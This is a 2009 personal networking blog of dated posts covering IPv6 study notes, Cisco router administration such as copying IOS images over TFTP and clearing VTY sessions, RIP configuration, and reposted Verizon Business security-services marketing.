Before you go on troubleshooting IPSec, there are some things you need to remember to do or ask the other person.

1. What do they want to happen?
1.1 What should be allowed?
2. What is this other router doing in here? It has no match for your ACL.

I think you get the idea. I was troubleshooting an issue one time and after bugging the HQ NOC personnel of the client I was able to get a picture of how one of their spokes was setup. Heck, all their spokes should have had the same setup but it turns out around 4 of their 300+ sites are crazy - a router is in between the failover devices and LAN that they themselves can't think of what it's purpose was.

IPv6 Destnation OPtions Extension header

2009-07-28T23:06:00.000-07:00

The IPv6 Destination Option Extension Header

DOH carries information that is meant for and processed only by the target node.

As far as I'm concerned , it seems that this extension header is specific to being used for Mobile IPv6 - registration messages are exchanged in order to keep in contact with a "home agent" so as for the Mobile IPv6 node gets to keep its IPv6 address despite changing locations.

Notes: IPv6 Addresses

2009-07-28T06:56:00.000-07:00

There are 4 v6 Unicast addresses:

Globast unicast addresses - 2000::/3
Unique local addresses - FC00::/7
Link-local addresses - FE80::/10
IPv4 mapped IPv6 addresses

Special IPv6 Unicast addresses are:

Unspecified address - ::
Loopback address - ::1

IPv6 Anycast Addresses identifies a set of interfaces that belong to different nodes and delivered to the closest interface determined by the Routing Protocol.

IPv6 Multicast address are, well, multicast addresses are in FF00::/8 prefix.

There is no broadcast in IPv6 - this is covered by multicast.

FF02::1 means all nodes on the link.

Notes: IPv6 EUI-64

2009-07-26T04:29:00.000-07:00

Given a network address and prefix, how would you know the network address of a host in IPv6?

What's in here?

-EUI-64

-IEEE 802 address conversion example

-Randomly generated Interface IDs

EUI-64

Interface Identifiers in global unicast and other types of v6 addresses must be 64-bits long and follow a certain format as defined by EUI-64.

This format is derived from the 48-bit link-layer address of interface cards - the MAC address - and is inserted with the hex value of FFFE between the upper 3-bytes of the OUI and the lower 3-bytes of the link-layer address.

But it doesn't stop here. The other issue is to make the IPv6 address you've just conjured up, or your machine for that matter, to be universally unique. This is done by flagging the seventh (7th) bit of the higher order, most significant byte to be either 0, as in locally, or 1, as global. This then ensures uniqueness of the address.

The 7th bit is known as the U/L-bit. The 8th bit in the higher order, most significant byte is known as the G-bit.

The G-bit is used to manage groups - signifying groups or single hosts. In English, this indicates whether the address is either unicast , set to 0, or multicast, set to 1.

IEEE 802 address conversion example (From http://www.microsoft.com)

In this example, Host A has an IEEE 802 address (Ethernet MAC) of 00-AA-00-3F-2A-1C. The following steps occur when converting this address to IPv6:

To convert the MAC address to EUI-64 format, FF-FE is inserted between the third and fourth bytes. This yields 00-AA-00-FF-FE-3F-2A-1C.

The U/L bit, which is the seventh bit in the first byte, is complemented. The first byte in binary form is 00000000. When the seventh bit is complemented, it becomes 00000010 (0x02).

Note: When complementing the U/L bit, perform the following steps:

If the EUI-64 address is universally administered, add 0x2 to the first byte.
If the EUI-64 address is locally administered, subtract 0x2 from the first byte.

The result, 02-AA-00-FF-FE-3F-2A-1C, is converted to colon-hexadecimal notation, yielding the interface identifier 2AA:FF:FE3F:2A1C.

Thus, in this example, the link-local address that corresponds to the network adapter with the MAC address of 00-AA-00-3F-2A-1C is FE80::2AA:FF:FE3F:2A1C.

Randomly generated Interface IDs
Because IPv6 address identifiers remain static, for security reasons, a method is required to provide temporary addresses. The IPv6 protocol for Windows CE .NET 4.1 and later creates temporary addresses for global address prefixes by default.

In the IPv4-based Internet it is difficult to track a user's traffic on the basis of IP address. A typical user connects to an Internet service provider (ISP) and then obtains an IPv4 address by using the Point-to-Point Protocol (PPP) and the Internet Protocol Control Protocol (IPCP). Each time the user connects to the Internet, a different IPv4 address might be obtained, making it difficult to track their usage.

For IPv6-based dial-up connections, after the connection is made through router discovery and stateless address autoconfiguration, the user is assigned a 64-bit prefix. If the interface identifier is based on a EUI-64 address derived from the static IEEE 802 address, the traffic of a specific node can be identified regardless of the prefix. This makes it easy to track a specific user and their use of the Internet. To address this concern and provide a level of anonymity, an alternative IPv6 interface identifier can be randomly generated and changed over time. This method is described in RFC 3041.

The following list shows how the initial interface identifier is generated by using random numbers:

For IPv6 systems that cannot store historical information for generating future interface identifier values, a new random interface identifier is generated each time the IPv6 protocol is initialized.

For IPv6 systems that have storage capabilities, a history value is stored. When the IPv6 protocol is initialized, a new interface identifier is created through the following process:

Retrieve the history value from storage and append the interface identifier based on the EUI-64 address of the adapter.
Compute the Message Digest-5 (MD5) one-way encryption hash over the quantity in step 1.
Save the last 64 bits of the MD5 hash computed in step 2 as the history value for the next interface identifier computation.
Take the first 64 bits of the MD5 hash computed in Step 2 and set the seventh bit to zero. The seventh bit corresponds to the U/L bit which, when set to 0, indicates a locally administered interface identifier. The result is the interface identifier.

The IPv6 address based on this random interface identifier is known as a temporary address. Temporary addresses are generated for public address prefixes that use stateless address autoconfiguration - routers give the addresses.

Temporary addresses are used for the lower of the valid and preferred lifetimes values shown in the following table.

After the valid lifetime of temporary address expires, a new interface identifier and temporary address are generated.

Killing Cisco router VTY sessions

2009-07-25T01:01:00.000-07:00

This is odd.

All I wanetd to do is to kill the vty session I created because the file transfer I made from another host was hanging (the file still wasn't in the folder as I discovered after trying to transfer it using SCP from a different server).

I did a clear line vty Number.

What's odd is that doing a show line would still tell you that the other vty lines were still being used.

How, how about killing the TCP session?

clear tcp local SourceHost

DestinationHost

But I was wondering how'd I see the sessions I actually made from my router to the server.

router#sh tcp vty 0

tty514, virtual tty from host 146.170.64.132

Connection state is ESTAB, I/O status: 1, unread input bytes: 1

Connection is ECN Disabled, Mininum incoming TTL 0, Outgoing TTL 255

Local host: 152.176.236.134, Local port: 23

Foreign host: 146.170.64.132, Foreign port: 61134

Connection tableid (VRF): 0

Enqueued packets for retransmit: 0, input: 0 mis-ordered: 0 (0 bytes)

Event Timers (current time is 0x3D1240):

Timer Starts Wakeups Next

Retrans 66 0 0x0

TimeWait 0 0 0x0

AckHold 59 1 0x0

SendWnd 0 0 0x0

KeepAlive 0 0 0x0

GiveUp 0 0 0x0

PmtuAger 0 0 0x0

DeadWait 0 0 0x0

Linger 0 0 0x0

ProcessQ 0 0 0x0

iss: 1147415167 snduna: 1147416321 sndnxt: 1147416857 sndwnd: 49848

irs: 2286797049 rcvnxt: 2286797211 rcvwnd: 3967 delrcvwnd: 161

SRTT: 300 ms, RTTO: 303 ms, RTV: 3 ms, KRTT: 0 ms

minRTT: 20 ms, maxRTT: 300 ms, ACK hold: 200 ms

Status Flags: passive open, active open

Option Flags: 0x400000

IP Precedence value : 6

Datagrams (max data segment is 536 bytes):

Rcvd: 126 (out of order: 0), with data: 59, total data bytes: 161

Sent: 90 (retransmit: 0, fastretransmit: 0, partialack: 0, Second Congestion: 0),

with data: 88, total data bytes: 2225

Packets received in fast path: 0, fast processed: 0, slow path: 0

Packets send in fast path: 0

fast lock acquisition failures: 0, slow path: 0

You'd notice that the lines in blue detail what the source and destination IP and ports are.

Sweet!

After doing a show line, the vty lines were still being used.

I ended up adding in extra vty lines to use. My dilema was that if I made a mistake copying, the transfer will freeze the session and the number of vty lines for me to use is dwindling as well as leave me with a router with no IOS because I deleted it.

CompTIA Security+

2009-07-25T00:21:00.001-07:00

I'll be blogging about CompTIA's Security+ objectives. Plus, it's more of a treat for anyone out there because I'll make this a venue to explain stuff for free.

Downloading IOS from another Router

2009-07-24T22:13:00.000-07:00

Go to the first router and configure the router as follows:

Router1(config)# tftp-server flash:c1841-spservicesk9-mz.124-10c.bin

On the other router, issue the command

Router2# copy tftp flash

Well, you could also throw in the boot system flash c1841-spservicesk9-mz.124-10c.bin if you like.

c1841-spservicesk9-mz.124-10c.bin is the IOS you want to copy from the first router.

Just make sure both have IP connectivity, physically connected (cross-over cable if close proximity and through LAN port) and there’s ample space for the IOS in the router to upgrade.

corp-site-order#configure terminal
Enter configuration commands, one per line. End with CNTL/Z.

corp-site-order(config)#
corp-site-order(config)#do sh flash
-#- --length-- -----date/time------ path
1 21226008 Oct 22 2008 14:55:48 +00:00 c1841-advsecurityk9-mz.124-19b.bin
2 20308072 May 5 2009 09:40:24 +00:00 c1841-spservicesk9-mz.124-10c.bin

88702976 bytes available (41541632 bytes used)

corp-site-order(config)#do sh flash
corp-site-order(config)#do sh flash
-#- --length-- -----date/time------ path
1 21226008 Oct 22 2008 14:55:48 +00:00 c1841-advsecurityk9-mz.124-19b.bin
2 20308072 May 5 2009 09:40:24 +00:00 c1841-spservicesk9-mz.124-10c.bin

88702976 bytes available (41541632 bytes used)

corp-site-order(config)#tftp-server ?
archive: Allow URL file TFTP load requests
flash: Allow URL file TFTP load requests
null: Allow URL file TFTP load requests
nvram: Allow URL file TFTP load requests
system: Allow URL file TFTP load requests
xmodem: Allow URL file TFTP load requests
ymodem: Allow URL file TFTP load requests

corp-site-order(config)#tftp-server
% Incomplete command.

corp-site-order(config)#tftp-server flash:?
flash:c1841-advsecurityk9-mz.124-19b.bin
flash:c1841-spservicesk9-mz.124-10c.bin

corp-site-order(config)#$ flash:c1841-spservicesk9-mz.124-10c.bin
corp-site-order(config)#^Z
corp-site-order#exit

[Connection to 10.67.23.253 closed by foreign host]
Router#sh flash
-#- --length-- -----date/time------ path
1 13937472 Sep 11 2007 18:17:14 +00:00 c1841-ipbase-mz.124-1c.bin
2 1821 Sep 11 2007 18:32:58 +00:00 sdmconfig-18xx.cfg
3 861696 Sep 11 2007 18:33:20 +00:00 es.tar
4 1164288 Sep 11 2007 18:33:44 +00:00 common.tar
5 1038 Sep 11 2007 18:34:06 +00:00 home.shtml
6 113152 Sep 11 2007 18:34:26 +00:00 home.tar

15839232 bytes available (16093184 bytes used)

Router#del c1841-ipbase-mz.124-1c.bin
Delete filename [c1841-ipbase-mz.124-1c.bin]?
Delete flash:c1841-ipbase-mz.124-1c.bin? [confirm]
Router#copy tftp flash
Address or name of remote host []? 10.67.23.253
Source filename []? c1841-spservicesk9-mz.124-10c.bin
Destination filename [c1841-spservicesk9-mz.124-10c.bin]?
Accessing tftp://10.67.23.253/c1841-spservicesk9-mz.124-10c.bin...
Loading c1841-spservicesk9-mz.124-10c.bin from 10.67.23.253 (via FastEthernet0/1): !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! … etc
[OK - 20308072 bytes]

20308072 bytes copied in 99.504 secs (204093 bytes/sec)

Router#sh ver
Cisco IOS Software, 1841 Software (C1841-IPBASE-M), Version 12.4(1c), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2005 by Cisco Systems, Inc.
Compiled Tue 25-Oct-05 17:10 by evmiller

ROM: System Bootstrap, Version 12.4(13r)T, RELEASE SOFTWARE (fc1)

Router uptime is 1 day, 10 hours, 13 minutes
System returned to ROM by reload at 07:24:33 GMT Thu May 7 2009
System image file is "flash:c1841-ipbase-mz.124-1c.bin"

Cisco 1841 (revision 7.0) with 114688K/16384K bytes of memory.
Processor board ID FTX1137W0S4

2 FastEthernet interfaces
1 ISDN Basic Rate interface
DRAM configuration is 64 bits wide with parity disabled.
191K bytes of NVRAM.
31360K bytes of ATA CompactFlash (Read/Write)

Configuration register is 0x2102

Router#config t
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#do sh flas
-#- --length-- -----date/time------ path
1 1821 Sep 11 2007 18:32:58 +00:00 sdmconfig-18xx.cfg
2 861696 Sep 11 2007 18:33:20 +00:00 es.tar
3 1164288 Sep 11 2007 18:33:44 +00:00 common.tar
4 1038 Sep 11 2007 18:34:06 +00:00 home.shtml
5 113152 Sep 11 2007 18:34:26 +00:00 home.tar
6 20308072 May 08 2009 17:38:36 +00:00 c1841-spservicesk9-mz.124-10c.bin

9465856 bytes available (22466560 bytes used)

Router(config)#boot system flash?
WORD flash

Router(config)#boot system flash ?
WORD System image filename

Router(config)#boot system flash c1841-spservicesk9-mz.124-10c.bin
Router(config)#^Z
Router#wr
Building configuration...

Notes: IPv6

2009-07-24T06:05:00.000-07:00

Why IPv6?

The IPv6 Forum has an IPv4 Exhaustion counter. It basically tells you that IPv4, as of 26 July 2009 @ 6:08AM EST, will be gone soon in around 684 days with the number of IPv4 adddress growing only up to less than 500Million and there is now only 11% of the Reserved blocks (from IANA).

The fact - we are running out of IPv4 addresses and this is real.

(Cool link: IPv6 Deployment)

For starters, we don't have IPv5 that works the way we think it should work. It's somewhat a streaming protocol (defined in RFCs 1190 and 1819).

How different is this from IPv4?

larger address space

Uses a 128-bit addressing format capable of 2^128 IPv6 addresses

Option for Stateless autoconfiguration and Stateful configuration for hosts through DHCPv6
Multicast
Link-local addresses
Support for payload of arounbd 65535 octets
Network layer security native support

IPSec is natively supported and built into IPv6.

MIPv6

MobileIP is available for both v4 and v6 that enables mobile devices to move seemlessly throughout a network. This is native in IPng.

faster processing due to no checksums

The IPv6 Header
The v6 header is noticeably more streamlined than its predecessor. This gives it the notion that v6 communication is a lot faster and more efficient. Let's take a closer look at it.

Version
From the figure above, the first part of the header is the version field that has a value of 6, meaning IPv6.

Traffic Class is an 8-bit field that distinguishes a packet with different real-time delivery requirements used in differentiated services (Diffserv, think QoS).

MobileIP is available for both v4 and v6 that enables mobile devices to move seemlessly throughout a network. This is native in IPng.

Flow Label
Tags flow of packets; used for multilayer switching techniques and faster packet-switching performance.

Payload length
As it denotes.

Next Header
This is like the Transport field in IPv4 telling you what's the content of the next header - TCP, UDP, or extension headers.

Hop limit
Better name for TTL where the default value decreases every router traversed by the packet. The advantage for this part in v6 is that there is no checksum involved and v4 incurs extra processing time.

Source Address

Destination Address

Extension headers
There might be a need for the missing fields in IPv4 so here is where this comes in handy. Currently, 6 types are defined as follows:

Hop-by-hop options - used for router alerts like for RSVP (resource reservation protocol) and MLD (multicast listener discovery v1) and the jumbograms
Destination options - carries optional info needed to be processed by destination nodes
Routing - used for source routing and MIPv6
Fragmentation - well, we still do have this one but it's used when we have to fragment though as far as I know it isn't advisable to do it in layer 3.
Authentication and Encapsulating Security payload headers - IPSec protocol stuff
Upper-layer header - kind like what the Next field does

Though we still can perform fragmentation for IPv6, what it normally does is to send MTU discover packets so that it can determine the optimum maximum transmission unit for a given session. It queries the link till it gets an appropriate response for what MTU to use when sending data on the line. This is done per link and cached to track the responses. But this can also be performed using the flow labels.

Source-based routing has the source telling how data should traverse the network.

Addressing Notation
It's very easy to distinguish what an IPv6 address looks like. The hard thing is writing it down and memorizing the address - that's why DNS becomes VERY important as well.

Given the ip 2002:03c9:0000:0000:0000:0000:1526:69ab, what are other alternatives to representing the address?

2002:03c9:0000:0000:0000:0000:1526:69ab can also be written as

2002:03c9:0000:0000:0000::1526:69ab
2002:03c9:0:0:0:0:1526:69ab
2002:03c9:0:0::1526:69ab
2002:03c9::1526:69ab

Note: You can only cut down on leading zeroes.

Representing the IPv4 address 192.168.168.170

::ffff:192.168.169.170
::ffff:c0a8:a9aa

0:0:0:0:0:ffff:c0a8:a9aa

Note: c0a8:a9aa, if my conversion was correct (off the top of my head)

Special Addresses in IPv6

Link-local Address
Global unicast Address
Unique-local Address
Site-local Address
Multicast address
64 bit IID
Loopback addresses
IPv4 mapped IPv6 addresses

Link-local
:: /128 means software only
::1/128 means the loopback address for IPv6, not like IPv4 with 127.0.0.0/8!!!
fe80:: /10 the IPv4 APIPA equivalent

Global unicast
2000::/3

Unique local - DEPRECATES Site local
fc00:: /7 unique site-local address that is centrally administered
fd00:: /7 unique site-local address that is locally administered
Routable in the internal network only

Note: Does this remind you of RFC1918-type of addresses?

IPv4 special Addresses
0:0:0:0:0:0:0:0 or :: - routers must not forward this
::1 - for pings
::ffff:0:0 /96 - obsolete though
2002:: /16

Multicast
ff00:: /8 multicast addressing usage

Examples

ff02::1 - all hosts on segment
ff02::2 - all routers on the link
ff02::5 - must be for OSPF routers
ff02::6 - must be for OSPF DRs and BDRs
ff02::9 - all rip routers, most certainly
ff02:1::ffxx:xxx - IPv6 arp message
ff05::101 - all NTP servers

64 bit IID (click here)

Note: ff02::6, hmm? Remember IPvr OSPF DR and BDR multicast address? That's 224.0.0.6!

Zone Indices and Multi-homed servers
All IPv6 hosts, per NIC, have link-local addresses that are on the same network boundary or subnet. In that case, there will be problems when having a multi-homed server or router.

But how do we go around this problem?

Simple.

Through RFC4007, adding zone index for the interface solves the problem.

Example:

Microsoft - fe80::3%1
BSD - fe80::5%pcn0
Linux - fe80::5%eth0

Address and Communication Types
A multicast group is an arbitrary group of receivers that expresses an interest in receiving a particular data stream. This group has no physical or geographical boundaries—the receivers can be located anywhere on the Internet or in a private network. Receivers that are interested in receiving data flowing to a particular group must join the group by signaling their local router. This signaling is achieved with MLD protocol, which is the IPv6 equivalent of the IGMP protocol on IPv4. The network then delivers data to potentially unlimited receivers, using only one copy of the multicast data per subnet. (From http://www.cisco.com)

Unicast - host-to-host
Multicast - host-to-group
Anycast - host-to-closest host

[Side_Note]
What is MLD?
Multicast Listener Discovery (MLD)v1 performs the functions and is derived from version IGMPv2, while MLDv2 is equivalent to IGMPv3 and requires working with PIM-SSM. Unlike IGMP on IPv4, MLD uses ICMPv6 to carry its messages. All MLD messages are local to the link with a hop Limit of 1, and have enabled the Router Alert option.

There are three types of MLD messages:
1. Query
2. Report
3. Done

1. Query (Type = decimal 130)
General and Group Specific
In a Query message, the Multicast Address field is set to zero when it sends a General Query, which learns which Multicast addresses have listener on an attached link.

Group Specific or Multicast-Address-Specific Query, the address field is set to a specific IPv6 Multicast address. Thisquery learns whether a particular Multicast address has any listeners on an attached link.

2. Report (Type = decimal 131)
In a Report message, the Multicast Address field is that of the specific IPv6 Multicast address to which the sender islistening.

3. Done (Type = decimal 132)
In a Done message, the Multicast Address field is that of the specific IPv6 Multicast address to which the sender is ceasing to listen, respectively.
[/Side_Note]

Link-local Addresses

assigned automatically as host goes online
kind of like APIPA
always begins with fe80, first 10 bits are 1111 1110 10
last 64-bits are the 48-bit physical address of each NIC with FFFE in the middle

Say you MAC address is 00-00-0C-19-ab-cd. Your link-local address is fe80::0000:0Cff:fe19:abcd

Unique-local(RFC 4193)/Site-local Addresses(RFC 3513)

used within Enterprise networks to indetify boundary of their networks
kind of Private IP adddressing for IPv6

8-bits 40-bits 16-bits 48-bits
111 110[10] GlobalID SubnetID InterfaceID

fc00:: /8, which becomes fd00:: /8 if locally administered or assigned

Global Addresses
global routing prefix is 48 bits or less
subnetID is comprised of whatever bits are left after the global routing prefix demarc
have the high-level 3-bits set to 001

global routing prefix - n-bits

n-bits 64-n-bits interfaceID
[001..][..............][.................]

Multicast Addressing

first 8-bits are always FF
flag has currently 4 bits defined ---> 0RPT; 0 - unassigned, R - rendezvous point, P - unicast point, T - is it permanently assigned or 0 and temporary or 1
scope defines multicast function, 4-bits in length

Scope bits:

1 - interface-local
2 - link-local
3 - subnet-local
4 - admin-local
5 - site-local
8 - organization
e - global

Format

[111 111][Flag][Scope][Address]

Note: I'll add more to this section. A bit tired now.

We don't have broadcasting in IPv6 and Multicasting replaces that function for v6.

-Jaeson

New Application Security Program Protects Customer's Privacy

2009-07-23T14:47:00.000-07:00

Verizon Business' 2009 Data Breach Investigations Report stated that hackers often sneak into and compromise a company's sensitive data and business systems via insecure applications. Of the 285 million compromised records from the 90 confirmed breaches in 2008 that were examined by the report, 79 percent were compromised via Web applications.

To help overcome this challenge and help protect customer’s sensitive information, Verizon Business recently launched a new Application Security Program that takes a risk-based approach -- Baseline, Assess and Certify -- to protecting the critical data contained within each application.

Available in the U.S. and in a number of countries around the world, the new program uses a three-tiered approach to help large-business customers better understand and identify the potential security threats to their applications, and take steps to protect them.

"Verizon offers one-stop shopping to address an enterprise's complete application-security needs," said Kerry Bailey, senior vice president, Global Services. “Using each customer's unique risk profile, we can help the business identify high-priority applications -- and the vulnerable, critical data contained within them -- before intruders have the opportunity to exploit the applications and harm the business."

In the first tier of the program, Baseline, Verizon security experts conduct an initial application-risk assessment, which consists of baseline scanning and reviewing the software development lifecycle of the applications. Verizon determines the types of data consumed by specific applications, which is critical to establishing each application's risk level, and also determines which applications present the highest risk for the business.

The second tier, Assess, focuses on high-risk applications. Verizon conducts a full-scale review to assess the criticality and severity of impact to the business if these assets were to be exploited. Typical assessment activities include application vulnerability assessments, penetration testing and security source code reviews.

The third tier, Certify, offers customers the option of pursing the prestigious Verizon Cybertrust Application Certification, which verifies that an organization's information-security controls, policies and procedures have been examined, measured and validated against a stringent set of Verizon security standards. The certification is rigorous, and renewal requires annual recertification. Certified customers can display and share the Verizon Cybertrust seal – a highly recognized acknowledgement in the industry – with customers, partners and prospects to demonstrate that information security is a top priority for them.

The Verizon Application Security Program joins Verizon Business' robust portfolio of security solutions, aimed at helping enterprises and government agencies manage security risk and protect critical company assets. The portfolio includes governance risk and compliance solutions, data loss and prevention solutions, identity management solutions, and managed security services. The company's more than 1,100 security professionals around the globe deliver these offerings through a range of managed services, professional services and technologies, based on what best suits the customer.

More information is available by visiting http://www.verizonbusiness.com/us/products/security.

Sizing Up the Competition: How Does Verizon Business Compare to IBM Security Services?

2009-07-23T14:45:00.001-07:00

The Gartner 2009 Magic Quadrant for North American Managed Security Service Providers report places Verizon Business in the leader quadrant. Other designations, such as the Frost & Sullivan’s North America Managed Security Service Provider Market Penetration Award and Forrester’s Strong Performer in Security Consulting rating, put us in the leadership position among competitors. As determined by market analysts in the community, we offer leading security expertise and solutions delivery. However, even with all of these accolades in security space, we still face tough competition from IBM.

According to Mark Creamer, chief security market analyst from Market & Competitive Intelligence, both IBM and Verizon Business have strengths in this area.

Here is a look at some of IBM’s strengths:

Global brand
The IBM’s Internet Security Systems (ISS) is an autonomous organization within the IBM Global Technology Services and a recognizable brand, comparable to Verizon Business’ Cybertrust. IBM offers a full range of managed security services. With more than 12,000 customers around the world, including all of the Fortune 50, the IBM’s ISS is a market leader in intrusion detection and vulnerability scanning.

Globally dedicated security staff
With huge off-shore operations, IBM has 3,000 employees in security-related positions globally to support multinational clients.

Comprehensive managed security services portfolio
IBM has a robust managed security services portfolio that includes firewall monitoring, server and network protection, event and log monitoring, unified threat management, vulnerability management and threat analysis – as well as a strong partner/reseller program. The company also provides an extensive line of professional security services.

One of the best-known research teams in the security industry
IBM’s X-Force research and development team provides a variety of services including alert services, security advisories, database updates, educational services and white papers. They are one of the best-known research teams in the security industry, and they are often consulted by enterprises.

Geographic availability
IBM can offer references and expertise in every vertical industry and at relevant government levels, including federal, central, state, provincial and local. Present in 160 countries, it generates more than half of its revenue from outside the U.S.

So what can we offer our customers that IBM cannot?

Vendor neutrality
IBM is not vendor neutral, which means that although it supports non-ISS monitoring products, it can be perceived as biased towards selling its own hardware and has little experience in monitoring products other than its own. Verizon Business does not push to integrate its own or other vendor hardware and software into solutions; instead, it recommends the best approach for the customer offering solutions that are based on the equipment of leading manufacturers.

Managed security services
Only about one-third of IBM’s 12,000 security customers are managed security services accounts, which translates into a small percentage of IBM ISS’ total revenues and customer base. This indicates that IBM is more focused on selling professional security services, hardware and products rather than providing managed services. Verizon Business has been positioned in the leader quadrant in the Gartner 2009 Magic Quadrant for North American Managed Security Service Providers.

Network ownership
IBM is no longer a network operator, and therefore does not offer the same level of network control and visibility. It has to rely on AT&T’s IP platform, which poses challenges in timeliness and incident escalation procedures to customers. Verizon Business is a global network service provider with leading security capabilities. It owns one of the largest global IP networks and provides network visibility utilizing its unified Integrated Management Platform for Advanced Communications Technology (IMPACT).

Services at reduced costs
Historically, IBM has been targeting the largest corporate opportunities, and not appealing to smaller enterprises. It is becoming increasingly difficult for enterprises to justify paying that premium if they believe they can receive comparable services from a reputable provider like Verizon Business. It is believed that Verizon Business offers services at a better value to small and medium-size customers.

Customer satisfaction
IBM is a very big company that struggles with the delivery of the full extent of its capabilities due to the size and structure. This affects customer satisfaction. In the 2009 Forrester’s Global Information Security and IT Risk Consulting Wave report, IBM ranked among the lowest in the customer feedback category. By comparison, Verizon Business received a high customer satisfaction ranking with its legacy of strong customer support.

Creamer emphasized that Verizon Business’ main strengths are the global network service provider position combined with industry-leading security capabilities and depth of expertise in networking. He also said that security globally is our greatest source of differentiation. “Verizon Business has visibility into global threats from the position of one of the world’s largest global IP networks, he continued. “It works with clients of all sizes directly to build trusted relationships and fully integrated Cybertrust. Our customer satisfaction surpasses IBM’s,” he added.

Verizon Managed Security Services

2009-07-23T14:43:00.000-07:00

AT&T provides businesses and government agencies with managed security services including, firewalls, intrusion detection and prevention, and token authentication. It also provides a wide range of consulting and design services such as, risk analysis, vulnerability assessments, and ethical hacking. Like Verizon Business, AT&T capitalizes on managing large portions of the Internet backbone and a large customer base for wider threat visibility.

AT&T’s key strengths in the security market

Brand name
The AT&T brand name is globally recognized and conveys trust and value to many enterprises. AT&T advertises its proven experience, global presence, and broad portfolio. However, not all facets of AT&T’s brand identity apply to security, particularly on the international front.

“In-the-cloud” security services
AT&T continues to aggressively develop and market “in-the-cloud security” services which offer network-based features such as, firewalls and intrusion protection, with capabilities that reside in the network. They don’t require that security equipment be installed at the customer site. AT&T leverages its existing investments in networking infrastructure and this helps offset declining bandwidth prices.

Internet Protect service offering
AT&T Internet Protect is a security alerting and notification service that offers advanced information regarding potential attacks, such as viruses, worms and distributed denial of service (DDoS) attacks that are in the early formation stages. The Internet Protect DDoS Defense option provides DDoS identification and mitigation within AT&T's backbone, providing customers with increased protection from malicious traffic before it reaches their network. Internet Protect is AT&T’s signature in-the-cloud network security solution.

Large direct sales force and existing enterprise customer base
AT&T has a dedicated 1,400-member security sales team that identifies and sells the entire AT&T portfolio including security services. This is a key driver of their continued growth. Many customers are returning customers for multiple engagements, but AT&T’s global network reach and broad portfolio of enterprise services are also attractive to new large national and mid-market customers.

Tailored security solutions for small to medium businesses (SMBs)
AT&T has tailored security solutions to meet the needs of small to medium-sized businesses.

The Verizon Business difference

Global security leadership
Verizon Business Security Solutions, powered by Cybertrust, offers a comprehensive security portfolio. Verizon Business has the global reach of over 1,100 security professionals, five security operation centers located around the world, eight security management data centers, and 3,400 clients. AT&T’s professional security services organization has only about 100 people in North America.

Deeper, broader and smarter threat visibility
Because we extensively manage security for thousands of enterprise and government agencies across the world and hold the position of one of the world’s largest IP network owners, we have a deeper insight into customer networks and specific market sectors.

“Cloud-and-core” threat protection
Verizon Business provides “cloud-and-core” threat protection, monitoring and managing devices from both the network cloud and customer premise sources. We extract data from both the network cloud and customer premise core sources and transform it into prioritized and actionable information, based on the customer’s most valuable business assets and systems. While AT&T is focused on the network cloud for threat management, Verizon Business provides “cloud-and-core” threat protection, monitoring and managing devices from both the network cloud and customer premise sources.

Greater flexibility and ease of doing business in managed security services
Verizon Business provides broad support for a wide range of security hardware and software options and allows the customer to buy, lease, or obtain approval to use their existing equipment as part of a managed security services agreement. AT&T supports a narrow range of hardware and requires the customer to lease the equipment from them as part of the customer agreement.

A flexible Denial of Service (DOS) defense
Verizon Business’ DOS defense solution is more flexible than AT&T’s network-based DDoS defense. For the customer, this means lower costs.

Well-defined professional security service offerings
Professional security services are one of AT&T’s biggest weaknesses. They are primarily U.S.-based and mostly limited to supporting their managed services. According to Mark Creamer, who does market analysis and research for the Marketing & Competitive Intelligence team in Marketing, “Verizon Business offers a full suite of professional services for security starting from the perspective of business risk and has more than 265 dedicated professional services consultants located around the world. For global security consulting, the 2009 Forrester Consulting Wave rates AT&T as simply a contender while rating Verizon Business as strong performer. AT&T still needs to expand its current capabilities and develop a more comprehensive strategy.”

Worldwide market presence
Depth of expertise in networking and security around the globe is our greatest source of differentiation relative to AT&T. The majority of AT&T’s customers are U.S.-based multinationals, while Verizon Business provides security services to customers in many regions, including both EMEA and Asia-Pacific regions.

Notes: IPv6 Tunneling

2009-07-21T06:44:00.000-07:00

An Overlay tunnel is an IPv6 IPv4-encapsulated packet sent through an IPv4 network - a private network or the Internet.

Different ways we can perform overlay tunneling are through:

Manual configuration
GRE
IPv4-compatible
6to4
ISATAP
Teredo

Notes: RIP, metrics, and updates

2009-07-08T12:36:00.000-07:00

You can manipulate metrics in RIP using offset-list.

offset-list {access-list-number | name} { in | out} offset [type number]


access-list 1 permit 10.11.0.0 0.0.0.0
router rip
network 192.168.12.0
network 10.0.0.0
offset-list 1 in 3 Serial0

The access list above identifies a route to subnet 10.11.0.0. The offset list is read as, "Examine RIP advertisements incoming from interface S0/0/0:0. For route entries matching the addresses specified in access list 1, add 3 hops to the metric."

A way to minimize RIP updates is to use triggered updates - ip rip triggered.

Some RIP commands:

Command	Description
debug ip rip [events]	Summarizes RIP traffic to and from the router
ip address ip-address mask secondary	Configures an interface with the indicated IP address as a secondary address
ip rip triggered	Configures triggered extensions to RIP on an interface
neighbor ip-address	Establishes the link indicated by the IP address as a neighbor of the interface
network network-number	Specifies the indicated network as one that will run RIP
offset-list {access-list-number \| name} {in \| out} offset [type number]	Stipulates that a route entry belonging to the indicated access list will have the indicated offset number added to its metric
output-delay delay	Sets an interpacket gap of the indicated delay length to accommodate processing delays between high-speed and low-speed routers
passive-interface type number	Blocks RIP broadcasts on the interface indicated by type and number
router rip	Enables RIP
timers basic update invalid holddown flush	Manipulates the value of the indicated timer

Notes: RIP Configuration

2009-07-08T09:56:00.001-07:00

RIP version 1 is Classful.

When configuring the network statement, add the class-based networks.

RIP Configuration: Passive interfaces

You may block a router from shouting about RIP updates via the passive-interface command. But that doesn't mean it's deaf. It's just mute.

If you want only the router Janna to be updated via RIP to routers Casenas and Princess but both talking to the hand with each other, use the neighbor command for a unicast update.

Exchange 2007 Part 6: Public Folders

2009-06-20T15:48:00.000-07:00

Permissions you need are as follows:

Exchange Organization Administrator role
local Administrators group for the target server

Warnings. Heed the warnings!

A server can contain only one public folder database.
Page zeroing . Whatever that is. See Online Maintenance Database Scanning in Exchange 2007 SP1.

Creating Public Folder databases in Exchange 2007

